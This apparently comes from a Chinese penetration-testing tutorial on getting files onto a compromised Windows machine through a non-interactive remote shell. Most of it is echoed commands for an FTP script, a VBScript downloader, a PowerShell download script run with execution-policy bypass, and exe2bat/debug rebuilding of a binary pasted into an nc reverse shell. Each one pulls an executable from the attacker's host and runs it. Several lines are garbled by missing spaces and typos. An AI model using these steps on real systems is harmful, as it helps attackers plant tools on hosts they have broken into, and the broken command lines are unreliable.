FTP & VBScript & Powershell & Debug 远程传输

2020-08-19 17:47:38 浏览数 (1)

2.FTP

之前我们说过FTP在非交互shell 下会出现没有办法输入密码,导致身份认证过程没有办法完整完成,这里我们就来介绍一下如何变通。

首先还是需要我们在肉鸡上搭建一个ftp服务器,这里以Kali为例,ftp服务器以pure-ftpd为例

1. 安装ftp服务器

apt-get install pure-ftpd

2. 配置FTP服务器

groupadd ftpgroup

useradd -g ftpgroup -d /dev/null -s /etc ftpuser

pure-pw useradd admin -u ftpuser -d /ftphome

pure-pw mkdb

cd /etc/pure-ftpd/auth/

ln -s ../conf/PureDB 68pdb

mkdir -p /ftphome

chown -R ftpuser:ftpgroup /ftphome/

cp /usr/share/windows-binaries/whoami.exe/ftphome/

/etc/init.d/pure-ftpd restart

3. 查看是否开启成功

netstat –pantu | grep 21

通过Filezilla或者浏览器连接一下

浏览器访问一下ftp://127.0.0.1

这样Kali 这方也就准备完毕了

下面是xp这边

1. 安装ftp服务

此时把你的系统安装镜像连接到虚拟机就行了

2. 如何实现非交互shell 输入密码呢?

这里可以利用ftp的一些个功能帮助我们实现

我们将所有的命令都写入到一个文件中,之后用ftp -s:ftp.txt 的方式来进行加载

我们可以使用远程shell的 echo 命令将我们的命令写入到文件中

echoopen 192.168.123.53 21> ftp.txt

echoadmin>> ftp.txt

echoadmin>> ftp.txt

echobin>> ftp.txt

echoGET whoami.exe>> ftp.txt

echobye>> ftp.txt

注意:指令与 > 之间不能有空格

>> 表示追加写

admin/ admin 是刚刚设置的账号密码

bye 断开连接

写入完成后我们就可以执行了

ftp -s:ftp.txt

传输结束后我们验证一下是否可以使用

可以看到成功上传,成功执行!

ftp相对于TFTP来说被更多服务器所使用,所以这种方式值得掌握!

3. VBScript

关于VBScript

这是一款脚本语言,之前很多恶意软件都会使用这个语言,甚至在启动项里面丢一个vbs脚本

在Win7之前,vbs是windows默认的脚本语言

win7之后powershell 作为了windows的默认语言

powershell有意要做到bash在Linux中的地位,在后渗透阶段,powershell可是一个利器

VBScript传输工具的思路其实就是自己写一个wget,并不是什么高端的东西

如果目标安装了Python,那我们也可以写一个Python版本的wget,之后用python解释器来执行

本地传输采用http协议,我们需要提前部署好肉鸡,以本地Kali为例

Kali默认安装了Apache,web目录为/var/www/html/

serviceapache2 start

cp/usr/share/windows-binaries/whoami.exe /var/www/html/

之后我们可以访问一下本机看看

可以看到成功启动

接下来就是我们通过远程shell写一个vbs脚本的wget了

还是使用echo 命令

echoOn Error Resume Next > wget.vbs

echoDim iRemote,iLocal >> wget.vbs

echoiLocal = LCase(WScript.Arguments(1)) >> wget.vbs

echoiRemote = LCase(WScript.Arguments(0)) >> wget.vbs

echoSet xPost = CreateObject("Microsoft.XMLHTTP") >> wget.vbs

echoxPost.Open "GET",iRemote,0 >> wget.vbs

echoxPost.Send() >> wget.vbs

echoSet sGet = CreateObject("ADODB.Stream") >> wget.vbs

echosGet.Mode = 3 >> wget.vbs

echosGet.Type = 1 >> wget.vbs

echosGet.Open() >> wget.vbs

echosGet.Write(xPost.responseBody) >> wget.vbs

echosGet.SaveToFile iLocal,2 >> wget.vbs

写入完成后就是执行了

cscriptwget.vbs http://192.168.123.53/whoami.exe w.exe

cscript是VBScript的解释器,下载下来的文件保存为 w.exe

可以看到成功传输并执行!

4. 使用Powershell 传输文件

win7 vista 及以上默认语言

思路与vbs一样

Kali端配置与上面相同

用 Windows 10 来演示吧

我们在远程shell中执行

echo $storageDir = $pwd>download.ps1

echo $webclient = New-Object System Net WebClient >>download.ps1

echo $url = "http://192.168.123.53/whoami.exe">>download.ps1

echo $file = "w.exe" >> download.ps1

echo $webclientDownloadFile($url,$file) >> download.ps1

写入完成后还是执行它

poweshell.exe -ExecutionPolicy Bypass -Nologo -Nonlnteractive-NoProfile -File download.ps1

5. 使用Debug传输文件

Debug 这个命令是一个很古老而且底层的命令

这个命令可以完成汇编和反汇编,并且可以修改Bios

经过之前的两种方法,相信大家肯定会说,我们能不能直接把二进制的文件一行一行地echo进一个文件中,答案是否定的

不过这个思路是可以的,我们需要变通一下,将二进制文件转换成文本类型,之后进行传输,最后再用debug命令转化为二进制格式

debug 只能传输小于64K的文件,而我们的whoami.exe 刚好有65K ,所以我们需要进行压缩,这里的压缩不是说普通的压缩软件进行压缩,需要使用upx

Kali 端的压缩

可以看到压缩后只有21k

Kali 端将二进制文件转换为文本文件(这个操作也可以在windows主机上执行)

wine/usr/share/windows-binaries/exe2bat.exe whoami.exe whoami.txt

可以看到直接使用wine来执行会失败,我们按照Kali的提示安装一下框架依赖

dpkg--add-architecture i386 && apt-get update && apt-get installwine32

此过程需要下载大概600M的文件

安装结束后再执行,就可以成功了

我们打开whoami.txt

可以看到这个工具已经为我们都准备好了,最后两行是debug要做的,我们把除最后两行都复制下来,放入到nc反弹的shell中执行

成功生成了123.hex

接下来Debug就要登场了

debug< 123.hex

此时生成的1.DLL 就是我们的whoami.exe了,我们只需要重命名一下

copy1.dll nc.exe

可以看到已经成功执行了,这样我们就用exe2bat Debug 完成了tool的传输

0 人点赞